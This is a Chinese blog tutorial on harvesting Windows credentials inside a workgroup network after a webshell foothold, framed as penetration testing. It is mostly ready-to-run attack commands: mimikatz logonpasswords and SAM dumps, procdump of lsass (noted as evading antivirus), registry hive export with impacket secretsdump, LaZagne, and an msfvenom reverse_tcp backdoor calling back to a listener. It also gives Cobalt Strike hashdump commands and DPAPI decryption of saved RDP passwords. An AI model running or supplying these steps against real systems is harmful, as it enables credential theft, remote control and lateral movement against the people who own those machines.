渗透测试——工作组内网凭证获取

最新推荐文章于 2024-07-16 15:11:45 发布
最新推荐文章于 2024-07-16 15:11:45 发布
阅读量1.3k 收藏 12
点赞数 24
文章标签： 服务器 windows 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_74171325/article/details/139683909
版权

目录

方法一

Mimikatz猕猴桃工具

下载

 使用webshell工具进行内网连接rce

mimikatz.exe文件通过蚁剑上传到内网主机

​编辑

蚁剑打开终端 

获取方法

 （一）非交互试命令一

 点击刷新=>出现生成的log.txt文件

双击点击log.txt查看获取的信息（成功获取）

（二）非交互式获取命令二

 获取NTLM HASH

方法二

Procdump+mimikatz获取

下载

 上传蚁剑

 命令执行

 刷新，出现新文件

 下载到自己物理机的mimikatz目录文件夹下

 使用mimikatz解密

 注册表导出HASH

命令（依此输入命令）

 同样下载文件到mimikatz目录里面

mimikatz解密

 impacket解密

下载

方法三

LaZagne工具获取

 下载

执行命令，获取所有密码

 方法四

meterpreter获取hash

kali机生成reverver_tcp的后门

kali机开启监听

 运行10000.exe

 成功上线目标靶机

 提权

 mimikatz插件读取hash

方法五

cs工具获取hash

其他密码凭证获取

RDP密码获取

查看本地机器本地连接过的目标机器

 查看本地用户此目录下是否存有RDP密码文件

​编辑 查看保存在本地的远程主机信息

 利用命令获取guidMasterKey的值

获取guidMasterKey对应的masterKey

​编辑

 Mysql密码的获取

user.MYD文件

 01二进制工具读取​编辑

工具SharpDecryptPwd.exe

方法一

Mimikatz猕猴桃工具

下载

Releases · gentilkiwi/mimikatz · GitHubicon-default.png?t=N7T8https://github.com/gentilkiwi/mimikatz/releases

下载后自行解压

 使用webshell工具进行内网连接rce

mimikatz.exe文件通过蚁剑上传到内网主机

蚁剑打开终端 

获取方法

 （一）非交互试命令一
二选一，都可以
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

 点击刷新=>出现生成的log.txt文件

双击点击log.txt查看获取的信息（成功获取）
一般情况下高版本的windows取消了lsass.exe缓存密码，是不会直接暴露密码的

（二）非交互式获取命令二
获取NTLM_HASH
mimikatz.exe "privilege::debug" "log 2.txt" "token::elevate" "lsadump::sam" "exit"
 获取NTLM HASH

 

方法二

Procdump+mimikatz获取

有优势procdump为微软开发的软件，一般不会被杀，有免杀姿态优势

下载

ProcDump - Sysinternals | Microsoft Learnicon-default.png?t=N7T8https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

 上传蚁剑

 命令执行

For 32bits：
procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits：
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

 

 刷新，出现新文件

 

 下载到自己物理机的mimikatz目录文件夹下

 使用mimikatz解密

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
密码和NTLM暴露

 注册表导出HASH

命令（依此输入命令）

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

 

 

 同样下载文件到mimikatz目录里面

mimikatz解密
mimikatz.exe  "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"

 解密成功

 impacket解密
下载

Releases · fortra/impacket · GitHubicon-default.png?t=N7T8https://github.com/fortra/impacket/releases

复制这个py文件到mimikatz目录下，然后运行下面那个命令

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

解密成功

方法三

LaZagne工具获取

 下载

Releases · AlessandroZ/LaZagne (github.com)icon-default.png?t=N7T8https://github.com/AlessandroZ/LaZagne/releases/

 版本自行下载

 工具上传到目标靶机

执行命令，获取所有密码

 方法四

meterpreter获取hash

kali机生成reverver_tcp的后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=10000 -f exe -o 10000.exe

后门放到目标主机上 

kali机开启监听

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 10000

 运行10000.exe

start 10000.exe

 成功上线目标靶机

shell命令进入后，whoami /all看看是不是管理员权限，由于meterperter只认system用户，getuid得到下面这个用户权限不够

 提权

成功提权system用户

getsystem

hashdump   #读取hash

 mimikatz插件读取hash

help查看插件命令使用说明

creds_all

方法五

cs工具获取hash

beacon> hashdump

beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

beacon> mimikatz lsadump::sam

其他密码凭证获取

RDP密码获取

查看本地机器本地连接过的目标机器

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

 查看本地用户此目录下是否存有RDP密码文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

 查看保存在本地的远程主机信息

cmdkey /list

 利用命令获取guidMasterKey的值

mimikatz.exe "privilege::debug" "dpapi::cred /in:文件路径" "exit"
以我为例命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B" "exit"

获取guidMasterKey对应的masterKey

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

mimikatz.exe "privilege::debug" "dpapi::cred /in:要获取的文件路径 （有一个空格）/masterKey:你获取的masterKey" "exit"

#如下有个空格
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B /masterKey:你获取的masterKey" "exit"
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B /masterKey:6111e0ed3e84f3073a741f56f7c7131ad04150e922e7a16e208178b225bd48be3c8953a5adac43218c9fcd5ac0f4f3e3ccfab34c3f2ff52787a8b9e379dd63f1" "exit"

 Mysql密码的获取

user.MYD文件

 01二进制工具读取

工具SharpDecryptPwd.exe

SharpDecryptPwd.exe #查看命令帮助

peiqi_crazy
关注
  • 24
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
渗透测试入门—— 常见术语概述
weixin_46694260的博客
12-26 8875
00x1 前言 刚入门小白，收集了一些渗透术语，废话不多说。 00x2 渗透术语 1.脚本 动态网站(如：asp，php，jsp)， linux， python 2.网站 2.1静态网站：与后台交互比较少，如html) 2.2动态网站：使用动态脚本编写 如：asp，php，jsp，交互方便但是安全性不高，如果代码过滤不严格可能会导致漏洞最终导致后台linux被别人随意操作 3.http协议 http（HyperText Transfer Protocol），超文本传输协议。是因特网上应用最为广泛的一种网络传
几款优秀的Windows密码抓取工具
LuckySec
03-24 6754
前言 本篇介绍几款优秀的Windows上的密码抓取工具，每个工具都有自己的特点非常实用，欢迎补充。 0x01 Mimikatz 个人点评：这款工具非常强大，公认的Windows密码神器。 1. 简介 Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码，hash，PIN码和kerberos票证。mimikatz还可以执行哈希传递，票证传递或构建Golden票证 项目地址：https://github.com/gentilkiwi/mimikatz/ 2. 使用 cmd运行
GitHub敏感信息收集，SharpDecryptPwd 抓密码神器，MOSE-用于配置管理服务器的后期利用工具
代码讲故事
09-16 341
GitHub敏感信息收集，SharpDecryptPwd 抓密码神器，MOSE-用于配置管理服务器的后期利用工具。
windows各类密码搜集
good good study
02-17 2846
从 Windows 2000 开始，用户程序或操作系统程序就可以直接调用 DPAPI 来加密数据。由于 DPAPI 简单易用且加密强大，大量应用程序都采用 DPAPI 加密用户的私密数据，如 Chrome 浏览器的自动登陆密码、远程桌面的自动登陆密码、Outlook邮箱的账号密码、加密文件系统的私钥等。DPAPI 内部加密流程异常复杂而且微软官方也未公布过其内部细节，这给理解该接口内部实现机制带来了极大困难。
优秀的Windows密码抓取工具
feiyu361的博客
08-23 928
优秀的工具如下: 01 Mimikatz 简介: Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码，hash，PIN码和kerberos票证。mimikatz还可以执行哈希传递，票证传递或构建Golden票证 项目地址：https://github.com/gentilkiwi/mimikatz/ 使用 cmd运行命令如下： mimikatz.exe # cmd命令执行启动程序 privilege::debug # 提升权限 sekurlsa::logonpas
记一次失败的渗透经历----TeamViewer提取密码和ID
Jietewang的博客
10-29 2213
目录 1.前言 2.信息收集 3.提取TeamViewer配置 1.前言 授权测试，常规操作拿到shell，但是机器在内网，无法与外网通信，并且是双网卡，使用已知的代理手段均无法使机器出网。在搜集主机信息的时候发现该主机存在TeamViewer.exe进程，在于是想通过手段获取TeamViewer的连接id和密码。虽然最后也失败了，郁闷。 2.信息收集 拿到shell后，查看主机信息，发现了TeamViewer.exe进程。 3.提取TeamViewer配置 使用工具，SharpDec
【内网渗透技术-基础知识之工作组、域、认证】
叫我小虎就行了的博客
09-19 614
【内网渗透技术-基础知识之工作组、域、认证】
红蓝对抗下的内网横向移动渗透技术详解
lurenjia404的博客
07-02 1770
本文主要介绍了利用远程服务进行横向渗透的方法，读者阅读本章内容后就能够理解，红队人员一旦通过外部某一个点进入了企业内部网络之中，那么内网之中所有的安全防护设备将会形同虚设，红队人员在内网之中获取核心靶标的系统权限如同探囊取物。因此，如何有效地建立内网横向渗透安全防护体系就成了大部分企业及蓝队防守人员值得思考的问题，笔者希望通过本章对红队人员进行横向渗透所常利用的手法的介绍，读者能够对内网安全体系建设引起更多的重视和思考。
内网渗透-域渗透
qq_44806973的博客
11-23 4490
内网渗透(域渗透) 基础指南
内网横向移动密码凭证获取总结.pdf
12-08
内网横向移动是渗透测试中一个关键步骤，通常发生在攻击者已经控制了内网中的一台或多台设备之后。为了进一步扩大攻击范围，攻击者需要获取域内的密码凭证，包括密码哈希值，以便利用这些凭证对其他系统进行访问。...
内网渗透之——数据压缩、传输
01-09
数据压缩 作用： 将文件打包，方便下载 Linux 直接使用tar命令压缩 windows 利用Rar.exe(winrar.exe里的执行文件) 参数说明: a 添加文件到压缩文件中 -k 锁定压缩文件 -s产生固体存档,这样可以增大压缩比 ...
渗透测试 _ 内网信息收集1
08-03
内网信息收集是渗透测试的重要阶段，它决定了测试的效率和成功率。本文主要探讨了内网信息收集的基本概念和方法。 在内网渗透测试中，信息收集主要涉及三个关键步骤： 1. **我是谁？** 这个阶段的目标是识别控制的...
内网渗透测试安全学习ppt
02-12
5. **社会工程学**：在某些情况下，内网渗透可能涉及社会工程学技巧，如钓鱼邮件、电话欺骗等，以获取员工的登录凭证或其他敏感信息。 6. **横向移动**：一旦获得一个系统的访问权，渗透测试者会尝试在内网中横向...
服务器网络配置
最新发布
weixin_51338719的博客
07-16 487
服务器网络配置大体流程：硬件选择——系统安装——驱动调用——网卡配置
什么样的服务器是合乎直销网站标准
2301_78491269的博客
07-15 425
对于我们投资较少、刚刚起步的做网站直销公司来说,当然没有条件也没有必要来投资数千万、甚至数亿元来建立自己的数据中心,我们要做的就是选择一个合适的服务器租用商,租用他们优质的服务器,来保证发挥出该服务器的最大作用。工业设计包括了最基础的模块化和免螺丝设计,可以让运维人员实现免工具的快速拆装,以及可以有效防止和避免误操作的防呆设计等细节,此外机箱内的风道设计、散热效率、风扇与电源的配合、降噪与防震设计等等,都可以反映出厂家在相关技术及工业设计方面的实力高低。做网站直销选择租用服务器需要注意的几点要素。
内网安全攻防:渗透测试实战指南 pdf下载
07-29
对于内网安全攻防和渗透测试实战指南的PDF下载，首先需要明确渗透测试的目的是为了评估和测试内网的安全性，找出可能存在的漏洞和风险，并提供相应的防御建议和措施。 在下载PDF之前，我们应该明确以下几个问题： 1. 有合法的授权和使用权限吗？ 渗透测试是一项敏感且潜在危险的活动，需要事先与相关当事人保持沟通和达成共识，以确保测试合法、合规和有授权。因此，在下载之前，我们要确保自己拥有相应的合法权限。 2. 评估所需工具和技能 渗透测试需要一定的技术和工具支持。在下载之前，我们需要评估自己是否具备进行渗透测试所需要的技能和经验，并确认自己是否具备所需的工具和环境。 3. 错误使用导致的后果 渗透测试是一项高风险活动，如果错误使用或者测试方法不当，可能导致严重的后果，如业务中断、数据泄露等。因此，在下载之前，我们需要认识到这一点，并确保自己具备相应的安全意识和责任心。 总之，下载内网安全攻防和渗透测试实战指南的PDF之前，我们要确保自己拥有合法授权和权限，具备相应的技能和工具，以及清楚认识到错误使用可能导致的后果。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

peiqi_crazy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值